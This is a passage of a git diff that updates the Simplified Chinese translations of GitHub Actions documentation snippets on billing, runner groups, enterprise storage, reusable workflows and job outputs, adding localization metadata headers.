b/translations/zh-CN/data/reusables/actions/actions-billing.md index 453bd9ef77..36196d5a69 100644 --- a/translations/zh-CN/data/reusables/actions/actions-billing.md +++ b/translations/zh-CN/data/reusables/actions/actions-billing.md @@ -1 +1,9 @@ -{% data variables.product.prodname_actions %} usage is free for standard {% data variables.product.prodname_dotcom %}-hosted runners in public repositories, and for self-hosted runners. For private repositories, each {% data variables.product.prodname_dotcom %} account receives a certain amount of free minutes and storage for use with {% data variables.product.prodname_dotcom %}-hosted runners, depending on the product used with the account. Any usage beyond the included amounts is controlled by spending limits. +--- +ms.openlocfilehash: a1dc8f6f7c626557143a010803e4e0f0dd420ba0 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099152" +--- +公共仓库和自托管运行器免费使用 {% data variables.product.prodname_actions %}。 对于私有仓库,每个 {% data variables.product.prodname_dotcom %} 帐户可获得一定数量的免费记录和存储,具体取决于帐户所使用的产品。 超出包含数量的任何使用量都由支出限制控制。 diff --git a/translations/zh-CN/data/reusables/actions/cache-default-size.md b/translations/zh-CN/data/reusables/actions/cache-default-size.md index c79aef489f..22ecaa2cb1 100644 --- a/translations/zh-CN/data/reusables/actions/cache-default-size.md +++ b/translations/zh-CN/data/reusables/actions/cache-default-size.md @@ -1 +1,9 @@ -By default, the total cache storage that {% data variables.product.prodname_actions %} uses on the external storage for {% data variables.location.product_location %} is limited to a maximum of 10 GB per repository, and the maximum allowed size that can be set for a repository is 25 GB. +--- +ms.openlocfilehash: ab5272155710feedd08dd5b5e4e0f84eacc36694 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067408" +--- +默认情况下,{% data variables.product.prodname_actions %} 在 {% data variables.product.product_location %} 的外部存储上使用的总缓存存储限制为每个存储库最多 10 GB,可以为存储库设置的最大允许大小为 25 GB。 diff --git a/translations/zh-CN/data/reusables/actions/create-runner-group.md b/translations/zh-CN/data/reusables/actions/create-runner-group.md index 977a60cd7c..a66b2e749f 100644 --- a/translations/zh-CN/data/reusables/actions/create-runner-group.md +++ b/translations/zh-CN/data/reusables/actions/create-runner-group.md @@ -1 +1,9 @@ -1. Click **{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}Create{%- elsif ghes < 3.4 or ghae < 3.4 %}Save{% endif %} group** to create the group and apply the policy. +--- +ms.openlocfilehash: 774fc9c83ffce121ebc660f2169f08a99e0ce9c9 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147763949" +--- +1. 单击“{% ifversion ghec or ghes > 3.3 or ghae-issue-5091 %}创建{%- elsif ghes < 3.4 or ghae %}保存{% endif %}组”,创建组并应用策略。 diff --git a/translations/zh-CN/data/reusables/actions/disabling-github-actions.md b/translations/zh-CN/data/reusables/actions/disabling-github-actions.md index ef2c62fe2f..daa5542888 100644 --- a/translations/zh-CN/data/reusables/actions/disabling-github-actions.md +++ b/translations/zh-CN/data/reusables/actions/disabling-github-actions.md @@ -1 +1,9 @@ -By default, {% ifversion ghes or ghae %}after {% data variables.product.prodname_actions %} is enabled on {% data variables.location.product_location %}, it{% elsif fpt or ghec %}{% data variables.product.prodname_actions %}{% endif %} is enabled on all repositories and organizations. You can choose to disable {% data variables.product.prodname_actions %} or limit it to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} in your {% ifversion ghec or ghes or ghae %}enterprise{% else %}organization{% endif %}. +--- +ms.openlocfilehash: 3812d31ab730736a7af4ae38c347325f28aeffba +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147877170" +--- +默认情况下,{% ifversion ghes or ghae %}在 {% data variables.product.product_location %} 上启用 {% data variables.product.prodname_actions %} 之后,它{% elsif fpt or ghec %}{% data variables.product.prodname_actions %}{% endif %}会在所有存储库和组织上启用。 可以选择禁用 {% data variables.product.prodname_actions %} 或将其限制为{% ifversion ghec or ghes or ghae %}企业{% else %}组织{% endif %}中的操作 {% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 diff --git a/translations/zh-CN/data/reusables/actions/enterprise-common-prereqs.md b/translations/zh-CN/data/reusables/actions/enterprise-common-prereqs.md index b0541a2c44..29433f58a1 100644 --- a/translations/zh-CN/data/reusables/actions/enterprise-common-prereqs.md +++ b/translations/zh-CN/data/reusables/actions/enterprise-common-prereqs.md @@ -1,9 +1,17 @@ -* Review the hardware requirements for {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)." -* TLS must be configured for {% data variables.location.product_location %}'s domain. For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)." +--- +ms.openlocfilehash: 9c9f3713944a20dcdac639249d10c0ab8a4f7baf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098528" +--- +* 查看 {% data variables.product.prodname_actions %} 的硬件要求。 有关详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)”。 +* 必须为 {% data variables.product.product_location %} 的域配置 TLS。 有关详细信息,请参阅“[配置 TLS](/admin/configuration/configuring-tls)”。 {% note %} - **Note:** {% data reusables.actions.enterprise-self-signed-cert %} + **注意:** {% data reusables.actions.enterprise-self-signed-cert %} {% endnote %} * {% data reusables.actions.enterprise-http-proxy %} diff --git a/translations/zh-CN/data/reusables/actions/enterprise-marketplace-actions.md b/translations/zh-CN/data/reusables/actions/enterprise-marketplace-actions.md index 44dd8a398e..bef9aa2b42 100644 --- a/translations/zh-CN/data/reusables/actions/enterprise-marketplace-actions.md +++ b/translations/zh-CN/data/reusables/actions/enterprise-marketplace-actions.md @@ -1,8 +1,16 @@ +--- +ms.openlocfilehash: 5e5e40bc161c7779bdfc27931921963c5bf74fc5 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145098515" +--- {% ifversion ghes %} {% note %} -**Note:** {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} may have limited access to actions on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.product.prodname_marketplace %}. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator. +注意:{% data variables.product.product_location %} 上的 {% data variables.product.prodname_actions %} 对 {% data variables.product.prodname_dotcom_the_website %} 或 {% data variables.product.prodname_marketplace %} 上的操作具有有限的访问权限。 有关详细信息,请参阅“[管理对 {% data variables.product.prodname_dotcom_the_website %} 上操作的访问](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)”并联系 {% data variables.product.prodname_enterprise %} 站点管理员。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/actions/enterprise-postinstall-nextsteps.md b/translations/zh-CN/data/reusables/actions/enterprise-postinstall-nextsteps.md index f241306500..b26ef071b8 100644 --- a/translations/zh-CN/data/reusables/actions/enterprise-postinstall-nextsteps.md +++ b/translations/zh-CN/data/reusables/actions/enterprise-postinstall-nextsteps.md @@ -1,3 +1,11 @@ -### Next steps +--- +ms.openlocfilehash: d1d2813fed8f4ebc9e76856fb6477ab58b3c3657 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098512" +--- +### 后续步骤 -After the configuration run has successfully completed, {% data variables.product.prodname_actions %} will be enabled on {% data variables.location.product_location %}. For your next steps, such as managing {% data variables.product.prodname_actions %} access permissions and adding self-hosted runners, return to "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)." +配置运行成功完成后, {% data variables.product.prodname_actions %} 将在 {% data variables.product.product_location %} 上启用。 有关后续步骤,例如管理 {% data variables.product.prodname_actions %} 访问权限和添加自托管运行器,请返回到“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 使用入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)”。 diff --git a/translations/zh-CN/data/reusables/actions/enterprise-s3-support-warning.md b/translations/zh-CN/data/reusables/actions/enterprise-s3-support-warning.md new file mode 100644 index 0000000000..b480535cf0 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/enterprise-s3-support-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 993a49348ec6d3041377512d70efa3d192cbb4d0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098510" +--- +{% warning %} + +**警告:** 唯一支持的 S3 存储提供商是 Amazon S3 和适用于 NAS 的 MinIO 网关。 不支持其他 S3 API 兼容的存储提供商。 有关支持的存储提供商的详细信息,请参阅“[适用于 GitHub Enterprise 服务器的 GitHub Actions 入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)”。 + +{% endwarning %} diff --git a/translations/zh-CN/data/reusables/actions/enterprise-storage-about.md b/translations/zh-CN/data/reusables/actions/enterprise-storage-about.md new file mode 100644 index 0000000000..290367e22e --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/enterprise-storage-about.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 7c61def739c3054b56539e3eaf121b1a1484107b +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193260" +--- +## 关于 {% data variables.product.prodname_actions %} 的外部存储 + +{% data reusables.actions.enterprise-storage-contents %} 有关详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)”。 diff --git a/translations/zh-CN/data/reusables/actions/enterprise-storage-contents.md b/translations/zh-CN/data/reusables/actions/enterprise-storage-contents.md new file mode 100644 index 0000000000..1068b446f6 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/enterprise-storage-contents.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3ec09dc01c2c03dca0d7040cf3aab055d90128be +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193225" +--- +{% data variables.product.prodname_actions %} 使用外部 Blob 存储来存储工作流运行生成的数据,如工作流日志{% ifversion actions-caching %}、缓存{% endif %} 和用户上传的生成工件。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/actions/github-connect-resolution.md b/translations/zh-CN/data/reusables/actions/github-connect-resolution.md index 54fa9eebde..f8921e72f6 100644 --- a/translations/zh-CN/data/reusables/actions/github-connect-resolution.md +++ b/translations/zh-CN/data/reusables/actions/github-connect-resolution.md @@ -1 +1,9 @@ -When a workflow uses an action by referencing the repository where the action is stored, {% data variables.product.prodname_actions %} will first try to find the repository on {% data variables.location.product_location %}. If the repository does not exist on {% data variables.location.product_location %}, and if you have automatic access to {% data variables.product.prodname_dotcom_the_website %} enabled, {% data variables.product.prodname_actions %} will try to find the repository on {% data variables.product.prodname_dotcom_the_website %}. +--- +ms.openlocfilehash: 1e9105d419c42c1210ebe51b785ef3c36df094f8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066080" +--- +当工作流通过引用存储操作的存储库来使用操作时,{% data variables.product.prodname_actions %} 将首先尝试在 {% data variables.product.product_location %} 上查找存储库。 如果 {% data variables.product.product_location %} 上不存在存储库,并且你启用了对 {% data variables.product.prodname_dotcom_the_website %} 的自动访问,{% data variables.product.prodname_actions %} 将尝试在 {% data variables.product.prodname_dotcom_the_website %} 上查找存储库。 diff --git a/translations/zh-CN/data/reusables/actions/hardware-requirements-3.6.md b/translations/zh-CN/data/reusables/actions/hardware-requirements-3.6.md new file mode 100644 index 0000000000..7a012cf9b2 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/hardware-requirements-3.6.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 5c7cf10fca8efdcb186487e5de0e9a9d7e88d66b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147580722" +--- +| vCPU | 内存 | 最大连接运行器数量 | +| :---| :--- | :--- | +| 8 | 64 GB | 740 个运行器 | +| 32 | 160 GB | 2700 个运行器 | +| 96 | 384 GB | 7000 个运行器 | +| 128 | 512 GB | 7000 个运行器 | diff --git a/translations/zh-CN/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md b/translations/zh-CN/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md index 15b3fea980..d9b8e60db2 100644 --- a/translations/zh-CN/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md +++ b/translations/zh-CN/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md @@ -1,12 +1,20 @@ -You can use `jobs..outputs` to create a `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs..needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds). +--- +ms.openlocfilehash: 446bc8429d81d54d38eeaf2852a61d25db17da68 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145186074" +--- +可以使用 `jobs..outputs` 为作业创建输出的 `map`。 作业输出可用于所有依赖此作业的下游作业。 有关定义作业依赖项的详细信息,请参阅 [`jobs..needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds)。 {% data reusables.actions.output-limitations %} -Job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}. +当每个作业结束时,会在运行器上评估包含表达式的作业输出。 包含密码的输出在运行器上编辑,不会发送至 {% data variables.product.prodname_actions %}。 -To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)." +要在依赖的作业中使用作业输出, 可以使用 `needs` 上下文。 有关详细信息,请参阅“[上下文](/actions/learn-github-actions/contexts#needs-context)”。 -### Example: Defining outputs for a job +### 示例:定义作业的输出 {% raw %} ```yaml @@ -18,18 +26,10 @@ jobs: output1: ${{ steps.step1.outputs.test }} output2: ${{ steps.step2.outputs.test }} steps: - - id: step1{% endraw %} -{%- ifversion actions-save-state-set-output-envs %} - run: echo "test=hello" >> $GITHUB_OUTPUT -{%- else %} + - id: step1 run: echo "::set-output name=test::hello" -{%- endif %}{% raw %} - - id: step2{% endraw %} -{%- ifversion actions-save-state-set-output-envs %} - run: echo "test=world" >> $GITHUB_OUTPUT -{%- else %} + - id: step2 run: echo "::set-output name=test::world" -{%- endif %}{% raw %} job2: runs-on: ubuntu-latest needs: job1 diff --git a/translations/zh-CN/data/reusables/actions/jobs/section-running-jobs-in-a-container.md b/translations/zh-CN/data/reusables/actions/jobs/section-running-jobs-in-a-container.md index fc6f5e5404..9009ac8846 100644 --- a/translations/zh-CN/data/reusables/actions/jobs/section-running-jobs-in-a-container.md +++ b/translations/zh-CN/data/reusables/actions/jobs/section-running-jobs-in-a-container.md @@ -1,14 +1,16 @@ -Use `jobs..container` to create a container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts. +--- +ms.openlocfilehash: 5bdd64690f5b6aead3fb77167af16eecce35ee62 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146381438" +--- +使用 `jobs..container` 创建用于运行作业中尚未指定容器的任何步骤的容器。 如有步骤同时使用脚本和容器操作,则容器操作将运行为同一网络上使用相同卷挂载的同级容器。 -If you do not set a `container`, all steps will run directly on the host specified by `runs-on` unless a step refers to an action configured to run in a container. +若不设置 `container`,所有步骤将直接在 `runs-on` 指定的主机上运行,除非步骤引用已配置为在容器中运行的操作。 -{% note %} - -**Note:** The default shell for `run` steps inside a container is `sh` instead of `bash`. This can be overridden with [`jobs..defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrun) or [`jobs..steps[*].shell`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell). - -{% endnote %} - -### Example: Running a job within a container +### 示例:在容器中运行作业 ```yaml{:copy} name: CI @@ -32,7 +34,7 @@ jobs: run: (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv) ``` -When you only specify a container image, you can omit the `image` keyword. +只指定容器映像时,可以忽略 `image` 关键词。 ```yaml jobs: diff --git a/translations/zh-CN/data/reusables/actions/link-to-example-library.md b/translations/zh-CN/data/reusables/actions/link-to-example-library.md new file mode 100644 index 0000000000..3d6e7bc555 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/link-to-example-library.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ad73c4455042d29d72d3f76dbbdc512487c9303a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146139464" +--- +有关演示 {% data variables.product.prodname_actions %} 更复杂功能的示例,请参阅“[示例](/actions/examples)”。 你可以看到一些详细示例,这些示例说明如何在运行器上测试代码、访问 {% data variables.product.prodname_dotcom %} CLI 以及使用高级功能(如并发和测试矩阵)。 diff --git a/translations/zh-CN/data/reusables/actions/minio-gateways-removal.md b/translations/zh-CN/data/reusables/actions/minio-gateways-removal.md new file mode 100644 index 0000000000..8cdb0b0ed7 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/minio-gateways-removal.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b960c6a45b8d934a25c2d7d24e3961fb613ad3d4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147061544" +--- +{% warning %} + +警告:MinIO 已宣布删除 MinIO 网关。 从 2022 年 6 月 1 日起,当前 MinIO NAS 网关实施的支持和 Bug 修复将仅通过其 LTS 支持合同提供给付费客户。 如果要继续使用 MinIO 网关与 {% data variables.product.prodname_actions %},我们建议转向 MinIO LTS 支持。 有关详细信息,请参阅[计划删除 minio/minio 存储库中的适用于 GCS、Azure 和 HDFS 的 MinIO 网格](https://github.com/minio/minio/issues/14331)。 + +{% endwarning %} diff --git a/translations/zh-CN/data/reusables/actions/perform-blob-storage-precheck.md b/translations/zh-CN/data/reusables/actions/perform-blob-storage-precheck.md new file mode 100644 index 0000000000..0b4bcf8988 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/perform-blob-storage-precheck.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 303dcc3aedf7d0bab435af8b2f3c6b797ec0de0f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145065921" +--- +1. 运行 `ghe-actions-precheck` 命令以测试 Blob 存储配置。 有关详细信息,请参阅“[命令行实用工具](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-actions-precheck)”。 diff --git a/translations/zh-CN/data/reusables/actions/reusable-workflow-artifacts.md b/translations/zh-CN/data/reusables/actions/reusable-workflow-artifacts.md index 4369c99de9..c43366aeae 100644 --- a/translations/zh-CN/data/reusables/actions/reusable-workflow-artifacts.md +++ b/translations/zh-CN/data/reusables/actions/reusable-workflow-artifacts.md @@ -1,3 +1,10 @@ -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} -All actions and workflows called within a run have write access to that run's artifacts. +--- +ms.openlocfilehash: 0e8b83115f22782f2e2788293d6bc8c9f62855e9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145065898" +--- +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} 运行中调用的所有操作和工作流都具有该运行项目的写权限。 {% endif %} diff --git a/translations/zh-CN/data/reusables/actions/reusable-workflow-calling-syntax.md b/translations/zh-CN/data/reusables/actions/reusable-workflow-calling-syntax.md index 2b4d1042df..0865e864f3 100644 --- a/translations/zh-CN/data/reusables/actions/reusable-workflow-calling-syntax.md +++ b/translations/zh-CN/data/reusables/actions/reusable-workflow-calling-syntax.md @@ -1,4 +1,12 @@ -* `{owner}/{repo}/.github/workflows/{filename}@{ref}`{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} for reusable workflows in public {% ifversion ghes or ghec or ghae %}or internal{% endif %} repositories. -* `./.github/workflows/{filename}` for reusable workflows in the same repository.{% endif %} +--- +ms.openlocfilehash: 9b1f61261d2e59fe30703a3bebfdaed7a25667e6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145084864" +--- +* `{owner}/{repo}/.github/workflows/{filename}@{ref}`{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6000 %} 用于公共{% ifversion ghes or ghec or ghae %}或内部{% endif %}存储库中的可重用工作流。 +* `./.github/workflows/{filename}` 用于同一存储库中的可重用工作流。{% endif %} -`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)." {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}If you use the second syntax option (without `{owner}/{repo}` and `@{ref}`) the called workflow is from the same commit as the caller workflow.{% endif %} +`{ref}` 可以是 SHA、发布标记或分支名称。 对于稳定性和安全性来说,使用提交 SHA 最稳妥。 有关详细信息,请参阅“[GitHub Actions 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)”。 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6000 %} 如果使用第二个语法选项(不带 `{owner}/{repo}` 和 `@{ref}`),则调用的工作流来自与调用方工作流相同的提交。{% endif %} diff --git a/translations/zh-CN/data/reusables/actions/reusable-workflows-ghes-beta.md b/translations/zh-CN/data/reusables/actions/reusable-workflows-ghes-beta.md new file mode 100644 index 0000000000..12b8d14fe6 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/reusable-workflows-ghes-beta.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 933805023c32c3e956b510000cdaff7326b880e3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145065894" +--- +{% ifversion ghes = 3.4 %} + +{% note %} + +注意:可重用工作流目前处于 beta 版本阶段,可能会更改。 + +{% endnote %} + +{% endif %} diff --git a/translations/zh-CN/data/reusables/actions/reusable-workflows.md b/translations/zh-CN/data/reusables/actions/reusable-workflows.md index c1f3f78088..f631bcbe0c 100644 --- a/translations/zh-CN/data/reusables/actions/reusable-workflows.md +++ b/translations/zh-CN/data/reusables/actions/reusable-workflows.md @@ -1,4 +1,12 @@ -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +--- +ms.openlocfilehash: e7d27a9fd46a625eafc5bebb1eb151b8e3c4b6e4 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876101" +--- +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} -{% ifversion ghes or ghec or ghae %}You can share workflows with your organization, publicly or privately, by calling{% else %} You can call{% endif %} one workflow from within another workflow. This allows you to reuse workflows, avoiding duplication and making your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% ifversion ghes or ghec or ghae %}通过从另一个工作流中调用{% else %}可调用{% endif %}一个工作流,可以公开或私下与组织共享工作流。 这样便可重用工作流,避免重复并使工作流更易于维护。 有关详细信息,请参阅“[重用工作流](/actions/learn-github-actions/reusing-workflows)”。 {% endif %} diff --git a/translations/zh-CN/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md b/translations/zh-CN/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md index 5215ec2e72..7761ffe2d2 100644 --- a/translations/zh-CN/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md +++ b/translations/zh-CN/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md @@ -1,11 +1,14 @@ -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %} -{% data reusables.enterprise-accounts.actions-runner-groups-tab %} -1. Click **New runner group**. -{%- elsif ghes < 3.4 or ghae %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -1. Use the **Add new** drop-down, and select **New group**. +--- +ms.openlocfilehash: dcb31ab7b27f6f3ebe89699a3a2e96dd1e78a5db +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147763959" +--- +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {%- ifversion ghec or ghes > 3.3 or ghae-issue-5091 %} {% data reusables.enterprise-accounts.actions-runner-groups-tab %} +1. 单击“新建运行器组”。 +{%- elsif ghes < 3.4 or ghae %} {% data reusables.enterprise-accounts.actions-runners-tab %} +1. 使用“新增”下拉菜单,然后选择“新建组” 。 {%- endif %} -1. Under "Group name", type a name for your runner group. +1. 在“组名称”下,键入运行器组的名称。 diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-add-to-enterprise.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-add-to-enterprise.md index 2cc570e591..8146d04e1e 100644 --- a/translations/zh-CN/data/reusables/actions/self-hosted-runner-add-to-enterprise.md +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-add-to-enterprise.md @@ -1,16 +1,14 @@ -{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %} -{% data reusables.actions.self-hosted-runner-configure %} -{%- elsif ghae or ghes < 3.4 %} -To add a self-hosted runner to an enterprise, you must be an enterprise owner. -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -1. Click **Add new**, then click **New runner**. -{% data reusables.actions.self-hosted-runner-configure %} -{%- endif %} +--- +ms.openlocfilehash: 8396b563704c372a9bbc22a29f22484681adc3f9 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145084846" +--- +{%- ifversion ghec or ghes > 3.3 or ghae-issue-5091 %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.enterprise-accounts.actions-runners-tab %} +1. 单击“新建运行器”。 +{% data reusables.actions.self-hosted-runner-configure %} {%- elsif ghae or ghes < 3.4 %} 要将自托管运行器添加到企业,你务必要是企业所有者。 +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.enterprise-accounts.actions-runners-tab %} +1. 单击“新建”,然后单击“新建运行器” 。 +{% data reusables.actions.self-hosted-runner-configure %} {%- endif %} diff --git 